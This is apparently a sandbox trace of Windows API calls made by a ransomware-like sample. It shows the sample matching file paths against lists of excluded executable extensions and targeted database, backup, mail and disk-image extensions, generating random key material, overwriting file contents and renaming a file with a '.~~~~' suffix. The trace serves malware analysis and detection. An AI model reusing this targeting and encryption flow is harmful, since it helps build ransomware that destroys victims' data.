	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DBV") returned 0x0
	[0082.972] lstrlenW (lpString=".dacpac") returned 7
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dacpac") returned 0x0
	[0082.972] lstrlenW (lpString=".sdf") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".sdf") returned 0x0
	[0082.972] lstrlenW (lpString=".accdb") returned 6
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".accdb") returned 0x0
	[0082.972] lstrlenW (lpString=".DBX") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DBX") returned 0x0
	[0082.972] lstrlenW (lpString=".MDT") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".MDT") returned 0x0
	[0082.972] lstrlenW (lpString=".SQB") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".SQB") returned 0x0
	[0082.972] lstrlenW (lpString=".vhd") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".vhd") returned 0x0
	[0082.972] lstrlenW (lpString=".bac") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".bac") returned 0x0
	[0082.972] lstrlenW (lpString=".mdf") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".mdf") returned 0x0
	[0082.973] lstrlenW (lpString=".BAK") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".BAK") returned 0x0
	[0082.973] lstrlenW (lpString=".BAC") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".BAC") returned 0x0
	[0082.973] lstrlenW (lpString=".dbs") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dbs") returned 0x0
	[0082.973] lstrlenW (lpString=".vhdx") returned 5
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".vhdx") returned 0x0
	[0082.973] lstrlenW (lpString=".NDF") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".NDF") returned 0x0
	[0082.973] lstrlenW (lpString=".dat") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dat") returned 0x0
	[0082.973] lstrlenW (lpString=".DBS") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DBS") returned 0x0
	[0082.973] lstrlenW (lpString=".CKP") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".CKP") returned 0x0
	[0082.973] lstrlenW (lpString=".edb") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".edb") returned 0x0
	[0082.973] lstrlenW (lpString=".PST") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".PST") returned 0x0
	[0082.973] lstrlenW (lpString=".dbf") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dbf") returned 0x0
	[0082.973] lstrlenW (lpString=".SQL") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".SQL") returned 0x0
	[0082.973] lstrlenW (lpString=".pst") returned 4
	[0082.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".pst") returned 0x0
	[0082.974] lstrlenW (lpString=".dbv") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dbv") returned 0x0
	[0082.974] lstrlenW (lpString=".SDF") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".SDF") returned 0x0
	[0082.974] lstrlenW (lpString=".dtxs") returned 5
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dtxs") returned 0x0
	[0082.974] lstrlenW (lpString=".db3") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".db3") returned 0x0
	[0082.974] lstrlenW (lpString=".OST") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".OST") returned 0x0
	[0082.974] lstrlenW (lpString=".dbx") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dbx") returned 0x0
	[0082.974] lstrlenW (lpString=".DB3") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DB3") returned 0x0
	[0082.974] lstrlenW (lpString=".DAT") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DAT") returned 0x0
	[0082.974] lstrlenW (lpString=".VHDX") returned 5
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".VHDX") returned 0x0
	[0082.974] lstrlenW (lpString=".ndf") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".ndf") returned 0x0
	[0082.974] lstrlenW (lpString=".DB") returned 3
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DB") returned 0x0
	[0082.974] lstrlenW (lpString=".sql") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".sql") returned 0x0
	[0082.974] lstrlenW (lpString=".MYD") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".MYD") returned 0x0
	[0082.974] lstrlenW (lpString=".DBT") returned 4
	[0082.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DBT") returned 0x0
	[0082.975] lstrlenW (lpString=".ACCDB") returned 6
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".ACCDB") returned 0x0
	[0082.975] lstrlenW (lpString=".fdb") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".fdb") returned 0x0
	[0082.975] lstrlenW (lpString=".bak") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".bak") returned 0x0
	[0082.975] lstrlenW (lpString=".myd") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".myd") returned 0x0
	[0082.975] lstrlenW (lpString=".DTXS") returned 5
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DTXS") returned 0x0
	[0082.975] lstrlenW (lpString=".ckp") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".ckp") returned 0x0
	[0082.975] lstrlenW (lpString=".dbt") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dbt") returned 0x0
	[0082.975] lstrlenW (lpString=".db") returned 3
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".db") returned 0x0
	[0082.975] lstrlenW (lpString=".TXT") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".TXT") returned 0x0
	[0082.975] lstrlenW (lpString=".MDF") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".MDF") returned 0x0
	[0082.975] lstrlenW (lpString=".bdb") returned 4
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".bdb") returned 0x0
	[0082.975] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.975] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.977] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0082.977] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20296728080) returned 1
	[0082.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b4ced30, dwHighDateTime=0x1d60e1e)) 
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac8c8
	[0082.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac8c8 | out: hHeap=0x300000) returned 1
	[0082.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa7a8
	[0082.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0082.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa7a8 | out: hHeap=0x300000) returned 1
	[0082.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.978] GetLastError () returned 0x0
	[0082.978] GetLastError () returned 0x0
	[0082.978] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.978] GetLastError () returned 0x0
	[0082.978] GetLastError () returned 0x0
	[0082.990] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffdff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.991] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x201, lpOverlapped=0x0) returned 1
	[0082.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.991] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.991] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.991] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.991] CloseHandle (hObject=0x118) returned 1
	[0082.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.~~~~")) returned 1
	[0082.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0082.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.992] GetLastError () returned 0x0
	[0082.994] RtlWakeConditionVariable () returned 0x365f70
	[0082.994] GetCurrentThreadId () returned 0x9f4
	[0082.994] GetCurrentThreadId () returned 0x9f4
	[0082.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0082.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab030 | out: hHeap=0x300000) returned 1
	[0082.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac890 | out: hHeap=0x300000) returned 1
	[0082.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab030
	[0082.994] lstrlenW (lpString=".scr") returned 4
	[0082.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0082.994] lstrlenW (lpString=".cmd") returned 4
	[0082.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0082.994] lstrlenW (lpString=".dll") returned 4
	[0082.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0082.994] lstrlenW (lpString=".bat") returned 4
	[0082.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0082.994] lstrlenW (lpString=".cpl") returned 4
	[0082.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0082.994] lstrlenW (lpString=".sys") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0082.995] lstrlenW (lpString=".msc") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0082.995] lstrlenW (lpString=".com") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0082.995] lstrlenW (lpString=".lnk") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0082.995] lstrlenW (lpString=".msp") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0082.995] lstrlenW (lpString=".pif") returned 4
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0082.995] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0082.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.999] lstrlenW (lpString=".sqb") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0082.999] lstrlenW (lpString=".ost") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0082.999] lstrlenW (lpString=".txt") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0082.999] lstrlenW (lpString=".mdt") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0082.999] lstrlenW (lpString=".BDB") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0082.999] lstrlenW (lpString=".eql") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0082.999] lstrlenW (lpString=".DBF") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0082.999] lstrlenW (lpString=".EQL") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0082.999] lstrlenW (lpString=".FDB") returned 4
	[0082.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0083.000] lstrlenW (lpString=".EDB") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0083.000] lstrlenW (lpString=".DACPAC") returned 7
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0083.000] lstrlenW (lpString=".VHD") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0083.000] lstrlenW (lpString=".DBV") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0083.000] lstrlenW (lpString=".dacpac") returned 7
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0083.000] lstrlenW (lpString=".sdf") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0083.000] lstrlenW (lpString=".accdb") returned 6
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0083.000] lstrlenW (lpString=".DBX") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0083.000] lstrlenW (lpString=".MDT") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0083.000] lstrlenW (lpString=".SQB") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0083.000] lstrlenW (lpString=".vhd") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0083.000] lstrlenW (lpString=".bac") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0083.000] lstrlenW (lpString=".mdf") returned 4
	[0083.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0083.000] lstrlenW (lpString=".BAK") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0083.001] lstrlenW (lpString=".BAC") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0083.001] lstrlenW (lpString=".dbs") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0083.001] lstrlenW (lpString=".vhdx") returned 5
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0083.001] lstrlenW (lpString=".NDF") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0083.001] lstrlenW (lpString=".dat") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0083.001] lstrlenW (lpString=".DBS") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0083.001] lstrlenW (lpString=".CKP") returned 4
